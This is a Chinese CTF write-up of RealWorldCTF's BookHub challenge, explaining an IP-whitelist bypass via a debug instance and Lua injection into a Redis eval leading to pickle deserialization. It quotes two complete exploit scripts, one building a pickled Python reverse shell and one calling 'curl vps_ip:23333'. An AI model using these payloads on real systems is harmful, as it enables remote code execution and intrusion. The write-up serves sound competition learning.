RealWorldCTF学习

长亭出题,对不起签到失败.. 但不管怎么说学习一下吧,简单记录两道题

blacsheep 然后尝试扫目录 发现https://realworldctf.com/contest/5b5bc66832a7ca002f39a26b/www.zip 然后拿到flag blacsheep 当然还有对uid进行注入然后拿到flag的..反正大概就是要有日平台的心态咯..

BookHub

blacsheep 去拿一下源码,发现是flask框架 然后发现view/user.py里面有一段eval,猜测代码执行 不过需要登录,查看登录代码

1
2
3
4
5
6
7
8
9
10
@user_blueprint.route('/login/', methods=['GET', 'POST'])
def login():
form = LoginForm(data=flask.request.data)
if form.validate_on_submit():
user = User.query.filter_by(username=form.username.data).first()
login_user(user, remember=form.remember_me.data)

return flask.redirect(flask.url_for('book.admin'))

return flask.render_template('login.html', form=form)

然后去跟LoginForm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class LoginForm(FlaskForm):
username = StringField('username', validators=[DataRequired()])
password = PasswordField('password', validators=[DataRequired()])
remember_me = BooleanField('remember_me', default=False)

def validate_password(self, field):
address = get_remote_addr()
whitelist = os.environ.get('WHITELIST_IPADDRESS', '127.0.0.1')

# If you are in the debug mode or from office network (developer)
if not app.debug and not ip_address_in(address, whitelist):
raise StopValidation(f'your ip address isn\'t in the {whitelist}.')

user = User.query.filter_by(username=self.username.data).first()
if not user or not user.check_password(field.data):
raise StopValidation('Username or password error.')

然后去看get_remote_addr()

1
2
3
4
5
6
7
8
9
def get_remote_addr():
address = flask.request.headers.get('X-Forwarded-For', flask.request.remote_addr)

try:
ipaddress.ip_address(address)
except ValueError:
return None
else:
return address

然后我们去改xff,不过发现并不能通过ip验证,猜测是做了一层nginx反代过了xff 然后看到ip里面有一个公网ip:18.213.16.123,扫端口发现5000端口,上去之后发现是调试模式 blacsheep 但是发现可以refresh_session blacsheep 那么我们继续看到eval的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def refresh_session():
"""
delete all session except the logined user

:return: json
"""

status = 'success'
sessionid = flask.session.sid
prefix = app.config['SESSION_KEY_PREFIX']

if flask.request.form.get('submit', None) == '1':
try:
rds.eval(rf'''
local function has_value (tab, val)
for index, value in ipairs(tab) do
if value == val then
return true
end
end

return false
end

local inputs = {{ "{prefix}{sessionid}" }}
local sessions = redis.call("keys", "{prefix}*")

for index, sid in ipairs(sessions) do
if not has_value(inputs, sid) then
redis.call("del", sid)
end
end
''', 0)
except redis.exceptions.ResponseError as e:
app.logger.exception(e)
status = 'fail'

return flask.jsonify(dict(status=status))

是个redis+session的反序列化 参考文章:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html 然后sessionid可控,这里sessionid是拼接进去的,所以我们可以写入恶意代码 比如写个测试脚本

1
2
3
4
5
prefix='prefix'
sessionid='asijdoasijdoasji",evailcode,"A'
inputs=rf'{{ "{prefix}{sessionid} "}}'
print(inputs)
# { "prefixasijdoasijdoasji",evailcode,"A "}

然后就可以写入段evil代码

1
redis.call("set","bookhub:session:blacsheep",序列化之后的恶意代码)

然后改sessionid为blacsheep的时候就回去反序列化恶意代码,然后触发反弹shell 给个chamd5的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# -*- coding:utf-8 -*-

import requests
import re
import json
import random
import string
import cPickle
import os
import urllib

req = requests.Session()

DEBUG = 0

URL = "http://18.213.16.123:5000/" if not DEBUG else "http://127.0.0.1:5000/"


def rs(n=6):
return ''.join(random.sample(string.ascii_letters + string.digits, n))


class exp(object):

def __reduce__(self):
listen_ip = "127.0.0.1"
listen_port = 1234
s = 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'' % (
listen_ip, listen_port)
return (os.system, (s,))

x = [{'_fresh': False, '_permanent': True,
'csrf_token': '2f898d232024ac0e0fc5f5e6fdd3a9a7dad462e8', 'exp': exp()}]
s = cPickle.dumps(x)

if __name__ == '__main__':
payload = urllib.quote(s)
yoursid = 'vvv'
funcode = r"local function urlDecode(s) s = string.gsub(s, '%%(%x%x)', function(h) return string.char(tonumber(h, 16)) end) return s end"
# 插入payload并防止del
sid = '%s\\" } %s ' % (rs(6), funcode) + \
'redis.call(\\"set\\",\\"bookhub:session:%s\\",\\urlDecode("%s\\")) inputs = { \"bookhub:session:%s\" } --' % (
yoursid, payload, yoursid)
headers = {
"Cookie": 'bookhub-session="x%s"' % sid,
"Content-Type": "application/x-www-form-urlencoded",
'X-CSRFToken': 'ImY3NGI2MDcxNmQ5NmYwYjExZTQ4N2ZlYTMxNDg0ZGQ3NjA0MGU2OWIi.Dj9f9w.WL0VY6e2y6edFTh6QcOKo9DnzLw',
}

res = req.get(URL + 'login/', headers=headers)
if res.status_code == 200:
html = res.content
r = re.findall(r'csrf_token" type="hidden" value="(.*?)">', html)
if r:
headers['X-CSRFToken'] = r[0]
# refresh_session
data = {'submit': '1'}
res = req.post(URL + 'admin/system/refresh_session/',
data=data, headers=headers)
if res.status_code == 200:
print(res.content)
else:
print(res.content)
# fuck
headers['Cookie'] = 'bookhub-session=vvv'
res = req.get(URL + 'admin/', headers=headers)
if res.status_code == 200:
print(res.content)
else:
print(res.content)

然后sky的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import cPickle
import os

class exp(object):
def __reduce__(self):
s = """curl vps_ip:23333"""
return (os.system,(s,))

e = exp()
s = cPickle.dumps(e)
s_bypass = ""
for i in s:
s_bypass +="string.char(%s).."%ord(i)
evilcode = '''
redis.call("set","bookhub:session:skycool",%s)
'''%s_bypass[:-2]
payload = '''
6f17c248-ed0d-4d74-bba6-21b9342c854a",%s,"bookhub:session:skycool
'''%evilcode
print payload.replace(" ","")

写好之后访问以下login页面就可以获得反弹的shell